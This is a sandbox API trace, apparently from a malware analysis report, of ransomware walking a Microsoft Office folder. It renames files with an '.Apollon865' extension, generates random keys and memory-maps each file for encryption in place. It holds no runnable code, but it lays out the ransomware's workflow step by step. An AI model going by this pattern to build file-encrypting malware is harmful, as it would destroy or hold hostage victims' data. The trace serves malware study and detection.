	[0065.680] lstrcmpiW (lpString1="GENERC.PDL", lpString2="Apollon865") returned 1
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXOLEDB.PDL" | out: lpString1="IXOLEDB.PDL") returned="IXOLEDB.PDL"
	[0065.680] lstrlenW (lpString="IXOLEDB.PDL") returned 11
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
	[0065.680] lstrcmpiW (lpString1="XOLEDB.PDL", lpString2="Apollon865") returned 1
	[0065.680] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXORACLE.PDL" | out: lpString1="IXORACLE.PDL") returned="IXORACLE.PDL"
	[0065.680] lstrlenW (lpString="IXORACLE.PDL") returned 12
	[0065.680] lstrlenW (lpString="Apollon865") returned 10
	[0065.680] lstrcmpiW (lpString1="ORACLE.PDL", lpString2="Apollon865") returned 1
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXSSRV.PDL" | out: lpString1="IXSSRV.PDL") returned="IXSSRV.PDL"
	[0065.681] lstrlenW (lpString="IXSSRV.PDL") returned 10
	[0065.681] lstrlenW (lpString="Apollon865") returned 10
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="IXUTIL.DLL" | out: lpString1="IXUTIL.DLL") returned="IXUTIL.DLL"
	[0065.681] lstrlenW (lpString="IXUTIL.DLL") returned 10
	[0065.681] lstrlenW (lpString="Apollon865") returned 10
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="JFONT.DAT" | out: lpString1="JFONT.DAT") returned="JFONT.DAT"
	[0065.681] lstrlenW (lpString="JFONT.DAT") returned 9
	[0065.681] lstrlenW (lpString="Apollon865") returned 10
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LATIN1.SHP" | out: lpString1="LATIN1.SHP") returned="LATIN1.SHP"
	[0065.681] lstrlenW (lpString="LATIN1.SHP") returned 10
	[0065.681] lstrlenW (lpString="Apollon865") returned 10
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LGND.DLL" | out: lpString1="LGND.DLL") returned="LGND.DLL"
	[0065.681] lstrlenW (lpString="LGND.DLL") returned 8
	[0065.681] lstrlenW (lpString="Apollon865") returned 10
	[0065.681] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Library" | out: lpString1="Library") returned="Library"
	[0065.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0065.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x59a120
	[0065.681] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0065.681] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1
	[0065.681] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.681] lstrcmpiW (lpString1="LOGELEMS.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.682] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LOGELEMS.DLL" | out: lpString1="LOGELEMS.DLL") returned="LOGELEMS.DLL"
	[0065.682] lstrlenW (lpString="LOGELEMS.DLL") returned 12
	[0065.682] lstrlenW (lpString="Apollon865") returned 10
	[0065.682] lstrcmpiW (lpString1="GELEMS.DLL", lpString2="Apollon865") returned 1
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LOGMODEL.MDL" | out: lpString1="LOGMODEL.MDL") returned="LOGMODEL.MDL"
	[0065.686] lstrlenW (lpString="LOGMODEL.MDL") returned 12
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.686] lstrcmpiW (lpString1="GMODEL.MDL", lpString2="Apollon865") returned 1
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LOGVIEW.DLL" | out: lpString1="LOGVIEW.DLL") returned="LOGVIEW.DLL"
	[0065.686] lstrlenW (lpString="LOGVIEW.DLL") returned 11
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.686] lstrcmpiW (lpString1="OGVIEW.DLL", lpString2="Apollon865") returned 1
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LOOKUP.DAT" | out: lpString1="LOOKUP.DAT") returned="LOOKUP.DAT"
	[0065.686] lstrlenW (lpString="LOOKUP.DAT") returned 10
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MAPIPH.DLL" | out: lpString1="MAPIPH.DLL") returned="MAPIPH.DLL"
	[0065.686] lstrlenW (lpString="MAPIPH.DLL") returned 10
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MAPISHELL.DLL" | out: lpString1="MAPISHELL.DLL") returned="MAPISHELL.DLL"
	[0065.686] lstrlenW (lpString="MAPISHELL.DLL") returned 13
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.686] lstrcmpiW (lpString1="ISHELL.DLL", lpString2="Apollon865") returned 1
	[0065.686] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MCPS.DLL" | out: lpString1="MCPS.DLL") returned="MCPS.DLL"
	[0065.686] lstrlenW (lpString="MCPS.DLL") returned 8
	[0065.686] lstrlenW (lpString="Apollon865") returned 10
	[0065.687] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MEDCAT.DLL" | out: lpString1="MEDCAT.DLL") returned="MEDCAT.DLL"
	[0065.687] lstrlenW (lpString="MEDCAT.DLL") returned 10
	[0065.687] lstrlenW (lpString="Apollon865") returned 10
	[0065.687] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MEDIA" | out: lpString1="MEDIA") returned="MEDIA"
	[0065.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0065.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x59a190
	[0065.687] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0065.687] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1
	[0065.687] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.687] lstrcmpiW (lpString1="Microsoft.BusinessData.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.687] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.BusinessData.dll" | out: lpString1="Microsoft.BusinessData.dll") returned="Microsoft.BusinessData.dll"
	[0065.687] lstrlenW (lpString="Microsoft.BusinessData.dll") returned 26
	[0065.687] lstrlenW (lpString="Apollon865") returned 10
	[0065.687] lstrcmpiW (lpString1="ssData.dll", lpString2="Apollon865") returned 1
	[0065.687] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.BusinessData.xml" | out: lpString1="Microsoft.BusinessData.xml") returned="Microsoft.BusinessData.xml"
	[0065.687] lstrlenW (lpString="Microsoft.BusinessData.xml") returned 26
	[0065.687] lstrlenW (lpString="Apollon865") returned 10
	[0065.687] lstrcmpiW (lpString1="ssData.xml", lpString2="Apollon865") returned 1
	[0065.687] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Apollon865") returned 80
	[0065.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.690] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=370536) returned 1
	[0065.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.690] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.691] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.691] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.691] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa70, lpName=0x0) returned 0x150
	[0065.693] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa70) returned 0x210000
	[0065.708] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.709] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.709] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.710] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0065.713] CloseHandle (hObject=0x150) returned 1
	[0065.713] CloseHandle (hObject=0x118) returned 1
	[0065.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.715] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1
	[0065.715] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.715] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.Runtime.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.715] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessApplications.Runtime.dll" | out: lpString1="Microsoft.Office.BusinessApplications.Runtime.dll") returned="Microsoft.Office.BusinessApplications.Runtime.dll"
	[0065.715] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.dll") returned 49
	[0065.715] lstrlenW (lpString="Apollon865") returned 10
	[0065.715] lstrcmpiW (lpString1="untime.dll", lpString2="Apollon865") returned 1
	[0065.716] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessApplications.Runtime.xml" | out: lpString1="Microsoft.Office.BusinessApplications.Runtime.xml") returned="Microsoft.Office.BusinessApplications.Runtime.xml"
	[0065.716] lstrlenW (lpString="Microsoft.Office.BusinessApplications.Runtime.xml") returned 49
	[0065.716] lstrlenW (lpString="Apollon865") returned 10
	[0065.716] lstrcmpiW (lpString1="untime.xml", lpString2="Apollon865") returned 1
	[0065.716] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Apollon865") returned 103
	[0065.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.717] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10588) returned 1
	[0065.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.718] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.718] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.718] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.718] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c60, lpName=0x0) returned 0x150
	[0065.722] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c60) returned 0x100000
	[0065.723] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.725] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.725] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.726] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.726] CloseHandle (hObject=0x150) returned 1
	[0065.726] CloseHandle (hObject=0x118) returned 1
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.727] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1
	[0065.727] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.727] lstrcmpiW (lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.727] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.dll" | out: lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned="Microsoft.Office.BusinessApplications.RuntimeUi.dll"
	[0065.727] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.dll") returned 51
	[0065.727] lstrlenW (lpString="Apollon865") returned 10
	[0065.727] lstrcmpiW (lpString1="timeUi.dll", lpString2="Apollon865") returned 1
	[0065.727] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.xml" | out: lpString1="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned="Microsoft.Office.BusinessApplications.RuntimeUi.xml"
	[0065.727] lstrlenW (lpString="Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned 51
	[0065.727] lstrlenW (lpString="Apollon865") returned 10
	[0065.727] lstrcmpiW (lpString1="timeUi.xml", lpString2="Apollon865") returned 1
	[0065.727] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Apollon865") returned 105
	[0065.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.729] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=178) returned 1
	[0065.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.729] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.730] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.730] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.730] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c0, lpName=0x0) returned 0x150
	[0065.732] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c0) returned 0x100000
	[0065.733] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.733] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.733] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.734] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.734] CloseHandle (hObject=0x150) returned 1
	[0065.734] CloseHandle (hObject=0x118) returned 1
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.735] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0065.735] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.735] lstrcmpiW (lpString1="Microsoft.Office.BusinessData.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.735] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessData.dll" | out: lpString1="Microsoft.Office.BusinessData.dll") returned="Microsoft.Office.BusinessData.dll"
	[0065.735] lstrlenW (lpString="Microsoft.Office.BusinessData.dll") returned 33
	[0065.735] lstrlenW (lpString="Apollon865") returned 10
	[0065.735] lstrcmpiW (lpString1="ssData.dll", lpString2="Apollon865") returned 1
	[0065.735] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.BusinessData.xml" | out: lpString1="Microsoft.Office.BusinessData.xml") returned="Microsoft.Office.BusinessData.xml"
	[0065.735] lstrlenW (lpString="Microsoft.Office.BusinessData.xml") returned 33
	[0065.735] lstrlenW (lpString="Apollon865") returned 10
	[0065.735] lstrcmpiW (lpString1="ssData.xml", lpString2="Apollon865") returned 1
	[0065.735] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Apollon865") returned 87
	[0065.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.736] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=210743) returned 1
	[0065.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
